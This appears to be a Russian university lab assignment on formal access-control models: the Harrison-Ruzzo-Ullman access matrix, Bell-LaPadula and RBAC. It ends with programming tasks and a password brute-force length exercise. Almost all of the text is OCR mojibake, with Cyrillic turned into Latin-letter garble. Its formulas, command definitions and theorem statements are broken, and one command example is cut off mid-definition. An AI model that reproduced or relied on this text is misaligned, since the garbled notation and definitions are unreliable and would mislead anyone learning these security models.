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JlabopaTopnasi padora 1
Peanmaunﬂ NOJUTHKH 0€30IMaCHOCTH

Heab padoTsl

[leapto  ;maGopaTopHOM  pabOTBI  SBISACTCA  M3YUYCHHE  CTPYKTYPBHI,
XapaKTEPUCTHK, CHJBHBIX W CJIA0BIX Pa3IMUYHBIX IOJUTHK WHOOPMAIMOHHON
0€e30IMaCHOCTH.
dopmajbHbIE MOJIEJIN YIIPABJIEHHUS TOCTYIIOM

MO/JIEJIb XAPPUCOHA-PY330-YJIbMAHA

Pazpaborannas B 1971 1. momean  Xappucona-Py330-Yabmana [16]
dbopManm3yeT YNOMHHABIIEECS paHEe TMOHATHE MATPULBI A0CTyNa — TaOIHIIHI,
OIMCHIBAIONICH MpaBa I0CTyIa CYOBEKTOB K OOBEKTaM.

CTpokrd MaTpuIbl JIOCTyNa COOTBETCTBYIOT CYOBEKTaM, CYIIECTBYIOIIUM B
cucteme, a croilubl — oobekTaM. Ha mepecedeHUM CTpOKU M CTOJIOIA YKa3aHbI
mpaBa JIOCTYNa COOTBETCTBYIOIIETO0 CyObEKTa K JaHHOMY OOBEKTY: Hampumep
cyOBekT subj 3 obnanaer mpaBaMu YTEHHS U 3aMKMCU [0 OTHOIIECHUIO K 0OBEKTY 0Obj
3.

Breném cnenytomre 0003HaYeHUS:

S — MHOXECTBO BO3MOKHBIX CyOBEKTOB,

O — MHOECTBO BO3MOXKHBIX 00BEKTOB (HarmoMHUM, uTo S C O);

R={ry, ..., rn} — KOHEYHOE MHOXKECTBO PaB JAOCTYIIa

OxS X R - mpoCcTpaHCTBO COCTOSIHUN CHCTEMBI;

M — MaTpuIa mpaB JOCTyIIa, OMUCHIBAIOIIAs TEKYIIUE IIpaBa J0CTya CyObEeKTOB K
00BEKTaM;

Q=(S, O, M) — Teky1ee COCTOSIHHE CUCTEMBI

M[s,0] - siaelika MaTpHIIBl, coAep Kalias HaOOp MmpaB J0CTymna CyObekTa S C S K
o0bekTy 0 C O

[loBenenue cucTeMbl BO BpPEMEHH MOJACIUPYETCS TEPEXOJaMH  MEXKIY
pa3snTUYHBIMU €€ COCTOSHUSIMH. [lepexoapl OCYIIECTBIAIOTCS MYyTEM BHECECHUS
U3MEHEHHI B MaTpuily M ¢ MCIOIh30BaHUEM KOMAaH]I CJIEAYIOIIETO BUIA:

if ryin Mfxss, xo:] and
r2in Mfxsz, x-2f and

f 0 M X sm, Xomf
then

Op1.

Oopz,

me
end



3mech o - MMS KOMaHBI;, X- IapaMeTphl KOMAaHJbI, MPEICTABJISIONIAE COOOU
UIACHTU(DUKATOPBI CYOBEKTOB M OOBEKTOB, OPj,— IJIEMEHTapHBIE OIICPAIIUH.
DneMeHTapHbIe OIepaluud  Op;...0p, OyAyT BBITOJTHEHBI B TOM Ciy4ae, €CIIH
BBITIOJTHSFOTCSI BCe 0€3 MCKITFOUCHHMSI YCI0BHs U3 Ooka if ... then.
[Tpu onmcaHum 3JEMEHTAPHBIX ONEpaluidi MBI OYJIeM IT0JIaraTh, 4YTO B pE3yibTaTe
BBITIOJIHCHHS OIIEPAIlMM CHCTEMa IepexoauT u3 cocrosHus Q=(S, O, M) B
cocrosinue Q’=(S’,0°,M’).
<Moens peycMaTpUBacT HAJMYNE IISCTH JJIeMeHTAPHBIX ONepaui:
enter r into MJs,0] (scS,0cO) - nobaBieHHE CYOBEKTY S IpaBa I' 10 OTHOIICHHIO
K 00BEKTy 0. B pesynpTaTe BBINOJHEHUS KOMAHJBI MPOUCXOIAT CIICIYIONTUE
U3MCHCHUS B COCTOSTHUN CHUCTCMBI:

- §'=8,

- =0,

= M'fx, xJ =M x, xof, ecau (x,, x0) #(5,0),

- M'fs of=Mfs o frl.
3aMeTHM, 9TO COACPKUMOE SYCHKH TaOJIWIIBI pacCMaTPUBACTCA KaK MHOKECTBO.
DT0, B YaCTHOCTH, O3HAYAET, YTO €CIIU JOOABISIEMBIIN JIEMEHT YK€ MPUCYTCTBOBAI
B siueiKe, TO €€ COAEP)KUMOE HE U3MEHSETCS.
delete r from M][s,0] (s €S,0cO) - ynasenue y cyObekTa S IpaBa T IO
OTHOIIICHWIO K  OO0BEKTY 0. M3MCHEHMS B  COCTOSIHHM  CHCTEMBI:

- §'=5.

- O=0

- M [y, xf=M v xof ecan (x, xJ = (500

- Mfsof=M{seo] {Fl
Ecin ynansiemoe TpaBO OTCYTCTBOBAJO B SYCHKE, TO COCTOSSHHE CHUCTEMBI B
pe3yabTaTe BBHITOJIHCHUS JAHHON KOMaH bl HUKAK HE U3MCHSICTCSL.

create subject S (s € S) - co3nanue HOBOro cyobekTa s. FMi3MeHeHusT B COCTOSHUN
CHCTEMBEI:

- O=0 sk

- S=Su st

- My, x=Mx, x ] ons W ix, xJeSx0,
- Mfs x,f=@ e ¥ x, e

- Mfsxj=Gam¥x ed

Kak BuauMm, mpu CoO3daHMM CyObeKTa B Marpuily M 100aBISIOTCS CTpOKa M
croJioerl.

destroy subject s (SES) — ymaneHue CyImIECTBYIOIIEro CyObEeKTa .
W3meneHust B COCTOSIHUH CHCTEMBI:
- §=80s)
- 0=0¢{s),

- Mfx, x,J=Mfx, x,] dnz ¥ (x, x,) €5 =0



. Create  object o (0gO) —  co3maHme  HOBOrO  OOBCKTAa  O.
W3meHeHusI B COCTOSIHUH CHCTEMBI:

- O0'=0u{o}
- 8§'=5
- M'fx, xf=MIx, x. ] 0n WV fx, 3 e S =0,
- Mfx,ol=@0dmVx el
[Tpu noGaBiacHNN 00BEKTA B MATPHUIIC JOCTYIIA CO3AaETCS HOBBIM CTOJIOEII.

. destroy object o0 (0€O \ S) — ynmaneHue CyIIECTBYIOIIET0O O0O0OBEKTa O.
W3meHeHwust B COCTOSIHUH CHCTEMBI:
- O=01{o}
- 8=5

- M fx, x =M x ] orr Vv, x,)e 820

IIpuBenéM HECKOJIBKO NPUMEPOB KOMAH/:
. Co3nanue ¢aiina
ITonw30BaTenb P CO3IIaéT @aﬁﬂ fu IIOJIy4acT Ha HCTO IIpaBa BIIAACHHNA, YTCHUA U
3allnCH.
command create_file (p, f)
create object f,
enter own into M[p, f],
enter r into M[p, f],
enter w into M[p, f],
end
C03ualme nmpouecca.
[Ipouecc p co3maér npouecc q ¥ MOIydaeT Ha HETO MPaBO YTEHUS, 3aMUCH U
BJIAJICHUS, IIEpeaaBast MPOLIECCY ( paBa 3alMCH U YTEHUS 110 OTHOILIEHUIO K
caMmoMy cebe.
command exec_process(p, q)
create subject g,
enter own into M[p, q],
enter r into M[p, q],
enter w into M|[p, q],
enter r into M[q, p], enter w into M|[q, p],
end
. Ilepenaya npaBa YTeHUs 10 OTHOLICHUIO K (ainy
[TpaBo urenus Ha ¢aiin f nepenaéres BnagenpieM P cyobekTy (.
command grant_read(p, g, f)
if own in M[p, f]
then enter r into M|q, f],

end
dopmajibHOE ONUCAHME CHCTEeMbIB Moaenu XappucoHa-Py330-Yibmana
BBITJIAIUT  clenyrommm — oopasom. Cucrema ) =  (Q,R,C)  cocrour wu3

CIICAYIOIIMX 3JIEMEHTOB:
. Koneunsrit Habop npas moctyma R={r; ...,l}.



ok wn

Koneunbrit Ha00Op UCXOAHBIX CYOBEKTOB So={S; ..., S|}
Koneunblit Habop UCXOAHBIX 00beKTOB Og={04, .., Om}-
Hcxonnas matpuna goctyna Mg.
Koneunsiit Habop komaua C = {ai(Xy,...,Xk)} -
[loBeneHnne cucTeMbl BO BPEMEHM PACCMATPUBAETCS KaK IMOCIEAOBATEIbHOCTH
cocrossHui {Q,}, KaxJoe TMOCIenyIouee COCTOSHUE SBISIETCS Pe3yJIbTaTOM
NPUMEHCHHS HEKOTOPOH KoMaH Ikl K npeasiaymemMy: Qn.i=Cn(Qp).
s 3amaHHOW cucTeMbl HadanbHOe coctosiHue Qo={So, Op, My} Ha3bIBacTCs
0€30MacHbIM OTHOCHTEJIBHO MPaBa ¥, €CIM HE CYIIECTBYET NPUMEHUMOU K
Qomocne0BaTeIbHOCTH KOMaH, B PE3yibTaTe BBHITIOJHEHUS KOTOPOW MpaBo T
OyJIeT 3aHEeCeHO B s4eilky Marpuilbl M, B KOTOpPOH OHO OTCYTCTBOBAJIO B
cocTostHUU Q.
JpyrumMu cjaoBaMHd 3TO O3HAYAET, YTO CYOBEKT HHUKOTJa HE MOJYYUT IPaBO
JIOCTyTA T K OOBEKTY, €CJIM OH HE UMEJT €r0 U3HAYAIIBHO.
Ecnu xe mpaBo I OKa3aJioch B siu€iike MaTpuilbl M, B KOTOpOW OHO M3HAYAJIBHO
OTCYTCTBOBAJIO, TO TOBOPST, YTO IIPOU30IILIA YTEUKA MpaBa I.
Paccmotpum mpumep [17]. TlycTh cucrema gomyckaeT MCIOIb30BAHUE IBYX MPaB
nocryna: R={r, w}, rme r - ureHue, a w - 3aIuCh, U IMyCTh CUCTEMA OIMUCHIBACTCS
CIEAYIOIIMMU KOMaHAaMHu:
Co3nanue cy0bekTa
command create (s, 0)

create subject o,

enter r into M|s, o],

enter w into M[s, o],
end
Komanpa pazpemiaet co3janrue HOBOro CyObeKTa ¢ OJTHOBPEMEHHBIM MOJyYEeHUEM
10 OTHOILIEHHIO K HEMY TPaB JI0CTYIa HA YTEHHUE U Ha 3aIHCh.
IHosryyenue npas gocryna
command takex(s, o, p)

if r in MJs, o] and

x in MJo, p]
Kak Bumum, B pe3ynbTaTe BBINMOJIHEHHUS MIaroB 1-5 CyOBEKT S OOXOIHBIM ITyTEM
MOJIy4aeT MpaBoO JOCTyNa a MO OTHOIICHUIO K CYOBEKTYy O - T.. MPOUCXOJUT
yTeyKa TpaBa a - a 93TO 3HAUUT, YTO MCXOJIHOEC COCTOSSHUE HE SBJISIETCS
0€30MacHbIM.
C mnpakTUYECKOM TOYKM 3pEHUsS 3HAYUTEIbHBIM WHTEPEC NPEICTaBISAT Ol
YHUBEPCAIbHBIM METOJ OINpEJETCHUs TOTO, SIBJSETCS JU 3aJaHHas CUCTEMa C
HEKOTOPBIM HayaJbHBIM COCTOSIHUEM O€301acCHONW OTHOCHUTENIBHO TOTO WJIM WHOTO
npaBa goctyna. [lokaxeM, kak 3Ta 3agada MOXXET OBITh pelIeHa JJisg OJHOTO W3
YACTHBIX CIIy4acB
ucrema Y = (Q,R,C) Ha3zpIBaeTCS MOHOOIEPALIMOHHOM, €CITM KaXK/1asi KOMaH 1a at €
C BBINOJHSAET OJJMH PUMHUTHUBHBIN OIIEpPaTOp.
Teopema. CyliecTByeT alrOpUTM, KOTOPBIM MPOBEPSET, SBISETCA JIM UCXOIHOE
COCTOSIHHE MOHOOIIEPAITMOHHOM CUCTEMbI O€30TIaCHBIM JIJIs1 JAHHOTO MpaBa a.
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[TokaxkeM, dYTO YHCIO TOCIEAOBATEIILHOCTE KOMAHJI CHCTEMBI, KOTOPOE
HEOOXOJMMO TIPOBEPHUTH, SBJISETCS OrPAaHWMYCHHBIM. B 3TOM cilydae mpoBepka
0€30MacHOCTH HCXOJIHOTO COCTOSHHSI CHCTEMBI CBEIETCSA K ITOJIHOMY IepeOopy
BCEX ITOCJICI0BATEIILHOCTEH U MPOBEPKE KOHEYHOTO COCTOSIHUS KaKIO0W U3 HUX Ha
OTCYTCTBHE YTCUKH TIPaBa a.

3amerum, uro komanzpl delete u destroy MoxHO He paccMaTpHUBaTh, MOCKOJBKY
HAC WHTEpPECyeT HaJWYKMe TpaBa a, a HE €ro OTCYTCTBHEC. AHAJOTHYHO, HET
HEOOXOJMMOCTH paccMaTpuBaTh 0o0Jiee OJHOTO oreparopa Create: cucrema
SBJIIETCSI MOHOOTIEPAIIMOHHOM, ¥ OJTHa KOMaH/1a HE MOKET OJJHOBPEMEHHO CO3/1aTh
OOBEKT WM CyOBEKT U MOAUGPUIIMPOBATH €r0 MpaBa JOCTYIA, MOCKOJIbKY MyTEM
3aMEHBI MMapaMEeTPOB MOXKHO OTPAHUYHUTHCS PabOTOM C IMOCIEIOBATEIHLHOCTSIMU
KOMaHJI, KOTOPBIC OTICPUPYIOT HAJ CYIICCTBYIOIIMMH CYOBEKTAMU M OOBEKTAMHU.
EnuHcTBEeHHAs kKOMaH/a create OymeT HeoOXxoauMa Ha Ciiydai, eclid B Ha4aJlbHOM
COCTOSIHUH B CHCTEME HE OBLIIO HM OJTHOTO CYOBCKTA.

Wrtak, myctb c¢j, Cp, ..., Cp— IIOCIEIOBATEIBHOCTh KOMAaHJ, B pE3yJibTare
BBITIOJIHEHHUST ~KOTOPOM  MPOUCXOJMUT yTeYKka TMpaBa a. YIOPOCTUM ITY
MOCJIEIOBATEILHOCTh KOMaH I CIEAYIOIIUM 00pa3oMm:

VY nanmum Bce komanabel delete u destroy.

JobaBum B Havano mnociuenoBarenbHoctH Ci, C,... C,, —, c,, KoMmaHIy
Sinit BHIa Create subject.

[Tpoxoast mociie0BaTENHPHOCTh KOMaH/] CITpaBa HaJIEBO, MOCICIOBATEIRHO YIaTUM
BCe KOMaH/IBl Buja Create subject m 3ameHuM Bce CCBUIKM Ha CO3JaBacMbIe C
MOMOIIIBIO 3TUX KOMaH CyOBbEKThI CChUIKOU Ha Sipjt.

AHAJIOTUYHO yJanuM Bce KOMaHIbl Buja Create object, 3amensis ccpuiku Ha
CO37aBa€MbIC C IIOMOIIBIO ATUX KOMaHT 00bEKTHI CCHUTKAMH Ha Sipjt.

YaanuMm Bce KOMaHIBI BHa €Nter, BHOCAIINME MPaBO a B SUYEHKY, KOTOpas ykKe
COJICP>KHUT 3TO TPABO.

CornacHo TpUBEAEHHBIM BBIIIE 3aMEYAHHSIM, TIOJYYMBIIASICS B pe3yibTaTe
JAHHBIX NMPeoOpa30BaHMM MOCIEAOBATEIILHOCTh KOMAH/T TAK)KE MPUBOJUT K YTEUKE
npaBa a. [IpoanHamu3upyeM cocTaB BO3MOXKHBIX KOMAaHJI B TOJYYHBIICHCS
MOCJIETIOBATEIHLHOCTH.

Komanaer Bumma create object, destroy subject, destroy object m delete B
MOCJIeIOBATEILHOCTH OTCYTCTBYIOT. KoMaHma create subject mpucCyTCTByeT B
CAMHCTBEHHOM 4YHCJIe. MakcuMajabHOE YHCJIO KOMaHJ BHJAa enter paBHO
IR|(|ISo+1)(|Og|+1). Tem cambim, oOliee YHUCIO BO3MOXKHBIX KOMAaH]Il PaBHO
R(Sp +1)(Og +1) + 1 — a 3HAUUT, KOJMYECTBO MOCIICAOBATEILHOCTEH KOMaH]I
OTPaHUYCHO

K coxanenuo, paciipuTh TOJYYCHHBI PE3yJIbTaT HA MPOW3BOJIBHBIC CHCTEMBI
HEBO3MOYKHO.

Teopema. [[ns cuctem oOmiero Buaa 3amada OMPEICICHUS TOTO, SIBISETCS JIH
HCXOJTHOE COCTOSTHUE CHUCTEMBbI O€30MacHBIM [IJIsi JAaHHOTO TpaBa a, SBISICTCS
BBIYHCIIUTEIILHO HEPA3PEITUMOM.

Jlst moka3aTenhCTBa TOTO YTBEPXKACHHS JTOCTATOYHO CBECTH 3a7ady MPOBEPKHU
0€30MacHOCTH CUCTEMBI K 3aBEJIOMO HEpPa3pelInMOi 3ajade OCTAaHOBKHM MAIWHBI
TrropuHra.



N

Kmaccuueckass wmopens Xappuona-Py33o-Yibmana [0 CUX IIOp IIMPOKO
UCIIOJIB3YETCSl TpU MPOBeAeHUU (OopManbHOW BepUPHUKALUUA KOPPEKTHOCTH
MOCTPOEHUSI CUCTEM pa3rpaHUYCHUsS JOCTYNa B  BBICOKO  3aIMIIEHHBIX
aBTOMATU3UPOBAaHHBIX  cucTeMax. Pa3Butue  Mozenei  JUCKPEHUOHHOTO
yrpasieHus aoctynom [18, 19] 3akimroyaercss MpenuMyIIECTBEHHO B MOCTPOEHUHU
BCEBO3MOKHBIX Mojuukanuii monenu XappucoHa-Py3zo-Yiabmana, a Takxke B
MOMCKE MUHHMMAJIBHO BO3MOXKHBIX OTpaHUYEHUM, KOTOpPbIE MOKHO HAJIOXKHUTh Ha
OMMCAHWE CHUCTEMbI, YTOOBI BOMpOC €€ 0e30mMacHOCTH OBUT BBIYHCIUTEIHHO
pa3pelIuMbIM.

MO/JIEJIb BEJIJTA-JIATIA LY JIBI

HNannass mozenp Obiia mpemsioskeHa B 1975 romy [20] mns dopmanuzanuu
MEXaHM3MOB MAaHJIaTHOTO yOpaBIEHUS JOCTYNOM. MaHJaTHBIA OPUHIUIT
pasrpaHUyYeHUs] JOCTYIa, B CBOIO OYEpEdb, CTABWJI CBOEH II€JIbIO0 MEPEHECTH Ha
aBTOMATU3UPOBAHHBIE CHUCTEMbI TMPAKTUKY CEKPETHOTO JIOKYMEHTOO0OpOTa,
MPUHATYIO B IPABUTEJIbCTBEHHBIX U BOEHHBIX CTPYKTYpax, KOrja BCe JOKYMEHTBI
U JIONYIIEHHbIE K HHUM JHMIA aCCOLMHUPYIOTCS C HEPApXMUYECKUMH YpPOBHIMU
CEKPETHOCTH.

B monenn bBenna-Jlallagyabl mo r1pudaM  CEKpPETHOCTH  paclpeneisitoTcs
CyOBEKTBI M OOBEKTHI, JCHCTBYIOIIME B CHUCTEME, M IPU 3TOM BBINOJIHSIIOTCS
CJIEAYIONIINE MPABWJIA’

IIpocToe NpaBuJIo 0e30MacHOCTH (Simple Security, SS).
CyOBeKT ¢ ypOBHEM CEKPETHOCTH X5 MOXKET UYMTATh MH(GOPMALUIO U3 OOBEKTa C
YPOBHEM CEKPETHOCTH X, TOT/Ia U TOJBKO TOT/a, KOT/Ia XsIpeoOiaaeT Hall Xo.
*-cBoMcTBO (*-property).

CyOBEeKT C ypOBHEM CEKPETHOCTH X5 MOXKET MUCATh MH(OpPMALUI0 B OOBEKT C
YPOBHEM CEKPETHOCTH X, B TOM M TOJIBKO B TOM ClIy4ae, KOTJia X,IpeodiiaaeT Haj
Xs.

Jlyist mepBOTO TMpaBuia CyliecTByeT MHeMOHMYeckoe ob6o3nauenne No Read Up, a
mts Broporo — No Write Down.

[Teperiném K dhopMaTbHOMY OIMCAHUIO CHUCTEMBI. Beeném
cleaytolne 0003HAYeHUS

S - MHOeCTBO CyOBEKTOB;

O - MHOECTBO 00BEKTOB, S ¢ O;

R={r, w} - MHOXecTBO mpaB JocCTyma, T - JOCTYll Ha YTEHHWE, W - JOCTYIl Ha
3aMuCh;

L={U, SU, S, TS} - muoxecTBO ypoBHel cekpernoctn, U- Unclassified, SU -
Sensitive but unclassified, S - Secret, TS - Top secret;

A= (L, <,+,0) - peméTka ypoBHEH CEKPETHOCTH;

V - MHOXECTBO COCTOSSHUM  CHCTEMbI, TMpEJCTaBlIIeMOe B  BHUJC
Habopa ynopsimoueHnnbix map (F, M), rae:

F:SUO ->L - ¢pyskius ypoBHEW CEKPETHOCTH, CTaBsIIasi B COOTBETCTBUE
KOKJIOMY OOBEKTY U CYOBEKTY B CHCTEME OINPECIEHHBI YPOBEHb CEKPETHOCTH;
M- MaTpula TeKylmux npas A0CTYyIA.

CTaHOBUMCS 0oJiee MOAPOOHO Ha PEMIETKE yPOBHEW cekpeTHOCTH. HamomuuM, 4To
peméTkoii A Ha3bIBaeTcs anredpandeckas cuctema Buga (L, <,,0), rae:



1.

< - omepaTrop, ONPEACNSIIOUMNA YACTUUYHOE HECTPOTrO€ OTHONIIECHUE MOPSAKA JJIs

YPOBHEU CEeKPETHOCTH;

* - OTIEpaTOp HAUMEHbILICH BEpXHEH TPaHUIIbI;

O - onepaTtop HaOOJbIIEH HIKHEW TPAHUIIBL.

OTtHotieHue < 00J1aJJaeT CIEeTYIOUMMU CBOMCTBAMM:

PediekCUBHOCTB:!

Ma€eLlL : a<a .C Touku 3peHUs] ypOoBHEH O€30MACHOCTU STO O3HAYAET, YTO

pasperieHa mepeaada WHGOPMAIMM MEXIY CyOhEeKTaMH U OOBEKTaMH OJIHOTO

YpOBHS 0€30MaCHOCTH.

AHTHCUMMETPHUYHOCTb.!

Magja €L ((ap<ay)) & (ap<a;))—>ar=a;. AHTUCUMMETPUYHOCTH B HAaIlEM

cllydae 03HA4aeT, 4TO €Ciu MH(MOpMAaIUs MOKET NEpPeIaBaThCsl KaKk OT CYOBEKTOB

1 00BEKTOB YPOBHS A K CyObeKkTaM B 00beKTaM ypoBHS B, Tak U 0T CyOBEKTOB U

00BeKTOB ypoBHS B Kk cyObekTtamMm m 00BEKTaM ypOBHS A, TO 3TH YpPOBHH

HKBUBAJICHTHBI.

TpaH3UTHUBHOCTH!

M-aj,aa3 €L : ((a;<ay) & (ap <a3)) -> a; < az. TpaH3UTHBHOCTh O3HAYAET, YTO
ecn HMHQOpPMALIMA MOXKET TMepeaBaTbcs OT CYOBEKTOB U OOBEKTOB YPOBHS

A Kk cyObekTamM u oOBekTaM ypoBHS B, U 0T cyOBeKTOB 1 00BEKTOB YpoBHS B K

cyObekTam u o0bekTaM ypoBHs C, TO OHa MOXKET MepeaBaTbCsi OT CyOBEKTOB U

00BEKTOB YpOBHs A K cyOBeKkTaMm 1 o0bekTaM ypoBHs C.

Oneparopsl HAMMEHbICH BepXHed TpaHUlbl * ¥ HAMOOJbIIEH HUKHEHl

rpaHuinbl © onpenessoTCs CIEIYIOMUM 00Pa30M:

- a=aqed, Slg.a fa)yk{Vdel (dsa)y>id=qvdsa)),;

- =g, S (@fa.a))&(Vadel(dsaq &a<a,)> (= a)).

Herpynno mokasath, dro ia  Kaxaod  mapel M-ap,a, € L cymectByer

€IMHCTBCHHBIMAJIEMEHT HAUMEHBIIEH BEpPXHEW TpaHULBl W €IUMHCTBEHHBIN

AJIIEMEHT HauOObIlIEeH HUKHEN TPAHULIBI.

3amMeTuM, 4TO B KayeCTBE YpOBHEW O€30MaCHOCTH COBEPILIEHHO HE 00s3aTENbHO

BBIOMpATh LIEJIbIE YUCa, B PsJie CaydaeB yno0Hee UCMOJIb30BaTh 00Jiee CIOKHbBIC

CTPYKTYpHI. 3a CU€T ATOTO, HAIPUMEp, B IpeAeiax KakJA0ro YpoBHS CEKPETHOCTH

MOKHO pealiu30BaTh KaTErOpuu CeKpeTHocTd (cMm. puc. 2.3.2.2). B 3ToM ciyyae

HAJIMYME JIOMyCKa K TOW WJIM WHOW KaTeropuu WHGOPMAIMH MOXET CIIY>XKHUTh

JOTIOJTHUTEIPHBIM MEXaHW3MOM O€301aCHOCTH, OTPAHMYMBAIONIMM JIOCTYH K

3aIUIAEMbIM CYOBEKTaM U OOBEKTAM.

Cocrosiane (F, M) Ha3zpiBaeTCst 6€30I1MaCHBIM, €CJIM OHO O€30ITacHO 10 YTEHUIO U 110

3aIUCH.

Haxkonern, cucrema Y = (vo,R,T) Ha3biBaeTcss Oe30macHOM, eciu e HayallbHOE

COCTOSIHUE Vg O€30ITaCHO, M BCE€ COCTOSIHUS, JOCTWXKUMBIE U3 V0 myTém

MIPUMEHEHUSI KOHEUHOM MOCIeI0BATEILHOCTH 3aIIpocoB 13 R, Oe30macHsI.

Teopema (OcHoBHasi Teopema 0e3onacHoctu bena-Jlallagyasn). Cuctema ) =

(vo,R,T) OezonmacHa Toraa W TOJIBKO TOI/A, KOTAA BBIMOJIHEHBI CIIEAYIONIUC

YCIIOBHSL:

HauansHoe cocTosiHue vy 6€301acHO.



PO E

Jlnst 1'060T0  COCTOSIHUS V, JOCTHIXKUMOTO U3 Vo yTEM TPUMEHEHHUS KOHEYHOU
MoCJeA0BaTeILHOCTH 3anmpocoB u3 R, Takux, uto T(v,r) = v¥, v=(F, M) u v*=(F*,
M*), nna M-S € S, ¥ 0 € O BHITIOJTHEHBI YCIIOBHUS:

Ecimu r € M*[s,0] ur & M[s,0], To F*(0) < F*(s).

Ecim r € M*[s,0] u F*(S)<F*(0), To r € M*[s,0]

Ecin w € M*[s,0] u w & M[s,0], To F*(0) < F*(s).

Ecim w € M*[s,0] u F*(s)<F*(0), o w € M*[s,0]

B nacrosimee Bpems mozenb bemna-Jlallagynsl u apyrue Mojenu MaHIATHOTO
yIPaBICHUS JTOCTYIIOM IHUPOKO MCIOJB3YIOTCS MPH MOCTPOCHUH U BepUDUKAINN
aBTOMATHU3UPOBAHHBIX CHUCTEM, MPEUMYIICCTBEHHO MPEIHA3HAUYCHHBIX IS paOOTHI
¢ nH(pOpMaIHel, COCTaBIAIONIEH TOCYJapCTBEHHYIO TalHY.

PosieBasi Mmoaesib koHTpOJIa xocryna (RBAC)

PoneBoil MeToj yrpaBieHusi JOCTYIIOM KOHTPOJIMPYET JOCTYI MOJIb30BaTENECH K
uH(pOpMaMu Ha OCHOBE THUIIOB MX aKTHUBHOCTEHN B cucreme(posieit). [log posbro
MOHMMAETCS COBOKYIHOCTh JIEMCTBUM U  OOSA3aHHOCTEW, CBS3aHHBIX C
ONpENENCHHBIM BUAOM JesTelbHOCTU. [lpuMepsl poseil: agMuHucTpaTop 0asbl
JAHHBIX, MEHEDKEp, HAYaJIbHUK OTJeNa.

B poneBoii Monenn ¢ KaxAbIM OOBEKTOM COIOCTaBJI€H HAOOp pa3pelieHHBIX
olepanuii JOCTyIa Il KaXI0M pOJIH, a He Ul KaXA0ro nojas3osareis. Kaxnomy
IIOJIB30BATENI0  COINOCTAaBJICHBI POJM, KOTOPHIE OH MOJET BBINOJHATE. B
HEKOTOPBIX CHUCTEMax II0JIb30BATEII0 Pa3pellIacTCsl BBINOJIHATE HECKOJIBKO POJIEH
OJTHOBPEMEHHO, B JPYIMX €CTh OIPAaHWYEHUE Ha OJHY WM HECKOJBKO HE
IIPOTUBOPEYAIINX APYT APYTY POJIEH B KXl MOMEHT BPEMEHH.

Jns gopmanbsHoro ompeaenenus mozaenn RBAC ucnonb3ylorcs clegyrolime
COTJIAIICHMS:

S = cyOBeKT — 4enoBeK Wik aBTOMAaTU3UPOBAHHBIN areHr.

R = ponp — pabouas QyHKUMS WIM Ha3BaHHE, OINpPEIENSIeTCS Ha YpPOBHE
aBTOPU3ALUU.

P = pa3penieHust — yTBepKAeHHs pexuMa J0CTyna K pecypcy.

SE = ceccust — CootBercTBHEe Mexay S, R u/umm P.

SA = HasnaueHume cyOwnekta (Subject Assignment). SA ? S ? R. Ilpu stom
CYOBEKTBhl Ha3HAYAIOTCS CBA3SIM pojied U CyOBEKTOB B OTHOIIEHMH «MHOTHE KO
MHOTUM» (OUH CYOBEKT MOXKET MMETh HECKOJBbKO pPOJei, a OJHY pOJib MOTYT
UMETh HECKOJILKO CYOBEKTOB).

PA = nasnauenue pazpemenus (Permission Assignment). PA ? P ? R. IIpu stom
pa3peuieHus: Ha3HAYaKTCsl CBSA3SIM POJie B OTHOIIEHUH «MHOTHE KO MHOTHUM.

RH = vactuuno ynopsinoueHnast uepapxus posaeit (Role Hierarchy). PH ? R ? R.
Ha BO3MOXXHOCTb HAclIeIOBaHUsl pa3peIICHUH OT MPOTHUBOMOJOXKHBIX POJEH
HAKJIQJbIBACTCS OTpaHUYMTENIbHAs HOpPMa, KOTOpas TMO3BOJSIET  JOCTUYb
HaJUIeKaIEro pas3jieNieHus pexxuMoB. Hanpumep, oqHOMY 1 TOMY K€ JIMILY MOKET
ObITh HE TO3BOJIEHO CO3[aTh YYETHYIO 3aluch i1 KOro-To, a 3aTeM
aBTOPHU30BATHCS MOJI ATON YUETHOU 3aMHCHIO.
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OCHOBHBIE IOCTOMHCTBA POJIEBON MOJIEIH:
1. TIlpocrora aamuHucTpupoBaHusi. B oramume ot ™oaenu DAC Her
HEOOXOJMMOCTH TMPONHUCHIBATH pPA3PELICHUS JUIsl KaXIOM mapbl «OOBEKT-
II0JIb30BaTENb». BMECTO 3TOr0 MPONUCHIBAIOTCS Pa3pelleHus AJi Map «0O0bEKT-
POJIb» U OMNPENEISAIOTCS POJIM KaXJI0To IMoib3oBaTeinsd. [Ipu usmeHeHun ob6sacTu
OTBETCTBEHHOCTH IIOJIb30BATENsl, Y HETO IMPOCTO M3MEHSIOTCA poinu. Hepapxus
poJiell Takke YIpPOIIAeT Mpolecc aJIMUHUCTpUpoBaHMs. Mepapxus porneil — 310
KOrJla poJib HapsAy CO CBOMMH COOCTBEHHBIMH MPHUBHJICTHSIMH MOKET
HACJIEJIOBATh MPUBUIIETUH IPYTHX POJICH.
2. Ilpunuun HauMeHbINeW mnpuBwiIerud. PoneBas Mojeiab  MO3BOJSET
MOJIb30BATENI0 PETUCTPUPOBATHCA B CHUCTEME POJIbI0, MUHUMAIBHO HEOOXOAMMOM
JUIsL BBINIOJIHEHHS TpeOyeMbIX 3a7ad. 3allpelieHre MOJHOMOYUN, HEe TpeOyeMbIX
JUTSI BBITIOJTHEHUS TEKYIICH 3a71a4M, HE TIO3BOJIIET OOOUTH MOUTHKY 0€30TTaCHOCTH
CUCTEMBI.
3. Paznenenue o0s3aHHOCTEI.

3ananue Kk padore

1. Hamucate mnporpaMmy, peajgu3yrollyl0 MOJENb HHPOPMAIMOHHOM
Oe3omacHOCTH (110 BapHaHTaM).

Bapuant
Bapuant Mopens nHopMalMoHHONW 0€30MacCHOCTH
1 MangaTHas IIOJIMTHKA 0€30aCHOCTH
2 JluckpenmonHasi moJIMTUKa 0€30MaCHOCTH
3 Mogenb maTpubl 10CTyII0B XappucoH-Py330-YipMana
4 Mogenb pacnpocTpaHeHHs TpaB JOCTymna make-grant
5 Monenb cucteMbl 6€30MacHOCTH Oeuia-ianamysia
6 Mogens low-water-mark
7 Mopenu poseBoro pasrpaHuuCHUs

3. OnpenenuTs MUHUMAIbHYIO JUIMHY Hapodis, ajadaBUT KOTOPOTO COCTOMT U3 A
CHUMBOJIOB, BpeMsi nepebopa kotoporo Obuio He MeHblie T ser. CkopocTh
nepebopa V maposei B CeKyHYy.

Bapuant A T \Y
1 33 100 100
2 26 120 13
3 52 60 30
4 66 70 20
5 59 50 200
6 118 90 50
7 128 100 500
8 150 30 200
9 250 80 600

4. Ocoutsb nporpammy «ViPNet ['eneparop naposneii».
